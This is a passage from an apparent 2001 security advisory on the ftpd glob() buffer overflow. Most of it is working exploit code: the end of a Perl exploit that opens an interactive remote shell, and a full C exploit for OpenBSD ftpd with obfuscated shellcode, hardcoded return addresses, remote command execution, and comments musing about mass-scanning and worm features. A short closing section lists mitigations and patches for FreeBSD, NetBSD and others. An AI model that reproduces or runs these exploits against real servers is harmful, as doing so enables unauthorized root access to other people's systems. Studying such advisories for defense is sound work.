pack('l', $ret) x 30 . "\r\n", 0) or die "send: $!\n";
sleep 1;
send(SOCKET, "id\n", 0) or die "send: $!\n";
$recvbuf = <SOCKET>;
if ($recvbuf !~ /^uid=.+/)
{
die "Exploit failed.\n";
}
else
{
print $recvbuf;
}
vec($rin, fileno(STDIN), 1) = 1;
vec($rin, fileno(SOCKET), 1) = 1;
for(;;)
{
$read = select($rout=$rin, undef, undef, undef);
if (vec($rout, fileno(STDIN), 1) == 1)
{
if (sysread(STDIN, $recvbuf, 1024) == 0)
{
exit;
}
send(SOCKET, $recvbuf, 0);
}
if (vec($rout, fileno(SOCKET), 1) == 1)
{
if (sysread(SOCKET, $recvbuf, 1024) == 0)
{
exit;
}
syswrite(STDIN, $recvbuf, 1024);
}
}
close SOCKET;
exit;
Another code by dvorak, Scrippie and jimjones:
/*
This source code is proprietary material. Commercial use, distribution,
modification or use of any part of this source code in any form is
strictly prohibited.
Non-commercial use, modification and distribution is allowed, as long
as any modification is made known to the author.
Not fully developed exploit but it works most of the time ;)
Things to add:
- automatic writeable directory finding
- syn-scan option to do mass-scanning
- worm capabilities? (should be done seperatly using the -C option
11/13/2000
*/
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <limits.h>
void usage(char *program);
char *strcreat(char *, char *, int);
char *longToChar(unsigned long);
char *xrealloc(void *, size_t);
void xfree(char **ptr);
char *xmalloc(size_t);
int xconnect(char *host, u_short port);
void xsend(int fd, char *buf);
void xsendftpcmd(int fd, char *command, char *param);
void xrecieveall(int fd, char *buf, int size);
void xrecieve(int fd, char *buf, int size);
void ftp_login(int fd, char *user, char *password);
void exploit(int fd);
int verbose = 0;
/*
Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask
to get rid of dots and slashes.
*/
char heavenlycode[] =
"\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80"
"\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8"
"\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xfa\xbf\xbd\xeb\x67\x3b\xfc"
"\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5"
"\xf9\xbf\xaf\xeb\x67\x3b\x23\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a"
"\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5"
"\xb4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9"
"\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x67\x3b\x42\x2d\x55\x44"
"\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84"
"\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94"
"\xd9\xd3";
char user[255] = "anonymous";
char pass[255] = "anonymous@abc.com";
char write_dir[PATH_MAX] = "/";
int ftpport = 21;
unsigned long int ret_addr = 0;
#define CMD_LOCAL 0
#define CMD_REMOTE 1
int command_type = -1;
char *command = NULL;
struct typeT {
char *name;
unsigned long int ret_addr;
};
#define NUM_TYPES 2
struct typeT types[NUM_TYPES] = {
"OpenBSD 2.6", 0xdfbfd0ac,
"OpenBSD 2.7", 0xdfbfd0ac};
void
usage(char *program)
{
int i;
fprintf(stderr,
"\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d direct
ory] [-t type]\n\t\t[-r retaddr] [-c command]
[-C command]\n\n"
"Directory should be an absolute path, writable by the user.\n"
"The argument of -c will be executed on the remote host\n"
"while the argument of -C will be executed on the local\n"
"with its filedescriptors connected to the remote host\n"
"Valid types:\n",
program);
for (i = 0; i < NUM_TYPES; i++) {
printf("%d : %s\n", i, types[i].name);
}
exit(-1);
}
main(int argc, char **argv)
{
unsigned int i;
int opt, fd;
unsigned int type = 0;
char *hostname = "localhost";
if (argc < 2)
usage(argv[0]);
while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) {
switch (opt) {
case 'h':
hostname = optarg;
break;
case 'C':
command = optarg;
command_type = CMD_LOCAL;
break;
case 'c':
command = optarg;
command_type = CMD_REMOTE;
break;
case 'r':
ret_addr = strtoul(optarg, NULL, 0);
break;
case 'v':
verbose++;
break;
case 'f':
if (!(ftpport = atoi(optarg))) {
fprintf(stderr, "Invalid destination port - %s\
n", optarg);
exit(-1);
}
exit(-1);
break;
case 'u':
strncpy(user, optarg, sizeof(user) - 1);
user[sizeof(user) - 1] = 0x00;
break;
case 'p':
strncpy(pass, optarg, sizeof(pass) - 1);
pass[sizeof(pass) - 1] = 0x00;
break;
case 'd':
strncpy(write_dir, optarg, sizeof(write_dir) - 1);
write_dir[sizeof(write_dir) - 1] = 0x00;
if ((write_dir[0] != '/'))
usage(argv[0]);
if ((write_dir[strlen(write_dir) - 1] != '/'))
strncat(write_dir, "/", sizeof(write_dir) - 1);
break;
case 't':
type = atoi(optarg);
if (type > NUM_TYPES)
usage(argv[0]);
break;
default:
usage(argv[0]);
}
}
if (ret_addr == 0)
ret_addr = types[type].ret_addr;
if ((fd = xconnect(hostname, ftpport)) == -1)
exit(-1);
else
printf("Connected to remote host! Sending evil codes.\n");
ftp_login(fd, user, pass);
exploit(fd);
}
int
ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg
)
{
xsendftpcmd(fd, command, param);
xrecieveall(fd, res, size);
if (res == NULL)
return 0;
if (verbose)
printf("%s\n", res);
if (msg && (res[0] != '2')) {
fprintf(stderr, "%s\n", msg);
exit(-1);
}
return (res[0] != '2');
}
void shell(int fd)
{
fd_set readfds;
char buf[1];
char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n";
write(fd, tst, strlen(tst));
while (1) {
FD_ZERO(&readfds);
FD_SET(0, &readfds);
FD_SET(fd, &readfds);
select(fd + 1, &readfds, NULL, NULL, NULL);
if (FD_ISSET(0, &readfds)) {
if (read(0, buf, 1) != 1) {
perror("read");
exit(1);
}
write(fd, buf, 1);
}
if (FD_ISSET(fd, &readfds)) {
if (read(fd, buf, 1) != 1) {
perror("read");
exit(1);
}
write(1, buf, 1);
}
}
}
void do_command(int fd)
{
char buffer[1024];
int len;
if (command_type == CMD_LOCAL) {
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl(command, command, NULL);
exit (2);
}
write(fd, command, strlen(command));
write(fd, "\n", 1);
while ((len = read(fd, buffer, sizeof(buffer))) > 0) {
write(1, buffer, len);
}
exit (0);
}
int exploit_ok(int fd)
{
char result[1024];
xsend(fd, "id\n");
xrecieve(fd, result, sizeof(result));
return (strstr(result, "uid=") != NULL);
}
void exploit(int fd)
{
char res[1024];
int heavenlycode_s;
char *dir = NULL;
ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to write_dir");
dir = strcreat(dir, "A", 255 - strlen(write_dir));
ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
xfree(&dir);
/* next on = 256 */
dir = strcreat(dir, "A", 255);
ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
xfree(&dir);
/* next on = 512 */
heavenlycode_s = strlen(heavenlycode);
dir = strcreat(dir, "A", 254 - heavenlycode_s);
dir = strcreat(dir, heavenlycode, 1);
ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
xfree(&dir);
/* next on = 768 */
dir = strcreat(dir, longToChar(ret_addr), 252 / 4);
ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
xfree(&dir);
/* length = 1020 */
/* 1022 moet " zijn */
dir = strcreat(dir, "AAA\"", 1);
ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
xfree(&dir);
/* and tell it to blow up */
ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL);
if (!exploit_ok(fd)) {
if (command != NULL) {
exit (2);
}
fprintf(stderr, "Exploit failed\n");
exit (1);
}
if (command == NULL)
shell(fd);
else
do_command(fd);
}
char *
strcreat(char *dest, char *pattern, int repeat)
{
char *ret;
size_t plen, dlen = 0;
int i;
if (dest)
dlen = strlen(dest);
plen = strlen(pattern);
ret = (char *) xrealloc(dest, dlen + repeat * plen + 1);
if (!dest)
ret[0] = 0x00;
for (i = 0; i < repeat; i++) {
strcat(ret, pattern);
}
return (ret);
}
char *
longToChar(unsigned long blaat)
{
char *ret;
ret = (char *) xmalloc(sizeof(long) + 1);
memcpy(ret, &blaat, sizeof(long));
ret[sizeof(long)] = 0x00;
return (ret);
}
char *
xrealloc(void *ptr, size_t size)
{
char *wittgenstein_was_a_drunken_swine;
if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size)))
{
fprintf(stderr, "Cannot calculate universe\n");
exit(-1);
}
return (wittgenstein_was_a_drunken_swine);
}
void
xfree(char **ptr)
{
if (!ptr || !*ptr)
return;
free(*ptr);
*ptr = NULL;
}
char *
xmalloc(size_t size)
{
char *heidegger_was_a_boozy_beggar;
if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) {
fprintf(stderr, "Out of cheese error\n");
exit(-1);
}
return (heidegger_was_a_boozy_beggar);
}
int
xconnect(char *host, u_short port)
{
struct hostent *he;
struct sockaddr_in s_in;
int fd;
if ((he = gethostbyname(host)) == NULL) {
perror("gethostbyname");
return (-1);
}
memset(&s_in, 0, sizeof(s_in));
s_in.sin_family = AF_INET;
s_in.sin_port = htons(port);
memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length);
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket");
return (-1);
}
if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1)
{
perror("connect");
return (-1);
}
return fd;
}
/* returns status from ftpd */
void
ftp_login(int fd, char *user, char *password)
{
char reply[512];
int rep;
xrecieveall(fd, reply, sizeof(reply));
if (verbose) {
printf("Logging in ..\n");
printf("%s\n", reply);
}
xsendftpcmd(fd, "USER", user);
xrecieveall(fd, reply, sizeof(reply));
if (verbose)
printf("%s\n", reply);
xsendftpcmd(fd, "PASS", password);
xrecieveall(fd, reply, sizeof(reply));
if (verbose)
printf("%s\n", reply);
if (reply[0] != '2') {
printf("Login failed.\n");
exit(-1);
}
}
void
xsendftpcmd(int fd, char *command, char *param)
{
xsend(fd, command);
if (param != NULL) {
xsend(fd, " ");
xsend(fd, param);
}
xsend(fd, "\r\n");
}
void
xsend(int fd, char *buf)
{
if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
perror("send");
exit(-1);
}
}
void
xrecieveall(int fd, char *buf, int size)
{
char scratch[6];
if (buf == NULL || size == 0) {
buf = scratch;
size = sizeof(scratch);
}
memset(buf, 0, size);
do {
xrecieve(fd, buf, size);
} while (buf[3] == '-');
}
/* recieves a line from the ftpd */
void
xrecieve(int fd, char *buf, int size)
{
char *end;
char ch;
end = buf + size;
while (buf < end) {
if (read(fd, buf, 1) != 1) {
perror("read"); /* XXX */
exit(-1);
}
if (buf[0] == '\n') {
buf[0] = '\0';
return;
}
if (buf[0] != '\r') {
buf++;
}
}
buf--;
while (read(fd, buf, 1) == 1) {
if (buf[0] == '\n') {
buf[0] = '\0';
return;
}
}
perror("read"); /* XXX */
exit(-1);
}
SOLUTION
This advisory will be updated as more information becomes
available. The most recent version is available from the PGP
Security website at:
http://www.pgp.com/research/covert/advisories/048.asp
The CERT/CC is coordinating the collection of information on
vulnerable distributions from third party vendors. For more
information, please read CERT Advisory CA-2001-07 available at:
http://www.cert.org/advisories/CA-2001-07.html
In lieu of a patch, these vulnerabilities may be addressed in a
general fashion by ensuring that no directories exist in the
anonymous FTP tree that are writable by the anonymous FTP user.
Furthermore, BSD and Irix users should take care to ensure that no
directory in the anonymous FTP tree has a name longer than 8
characters. It is important to note that these precautions will
not prevent local user privilege escalation through the FTP
daemon.
For NetBSD fixed versions are:
NetBSD-current: April 03, 2001
NetBSD-1.5 branch: April 04, 2001
NetBSD-1.4 branch: April 04, 2001
Chris Evans added following. vsftpd is not vulnerable, because
1) It contains a minimal internal pattern matcher, which uses a
secure string handling API.
2) It does not use the underlying operating system's glob() at all.
vsftpd is available at:
ftp://ferret.lmh.ox.ac.uk/pub/linux/vsftpd-0.0.15.tar.gz
In fact because of point 2) above, vsftpd is safe even on systems
with buggy glob() such as OpenBSD etc. For a while now, the
security documentation has specifically commented on the risks of
using glob().
For FreeBSD:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch.asc
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.3.x.patch
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.3.x.patch.asc
For Progeny Linux:
wget http://archive.progeny.com/progeny/updates/newton/ftpd_0.17-3_i386.deb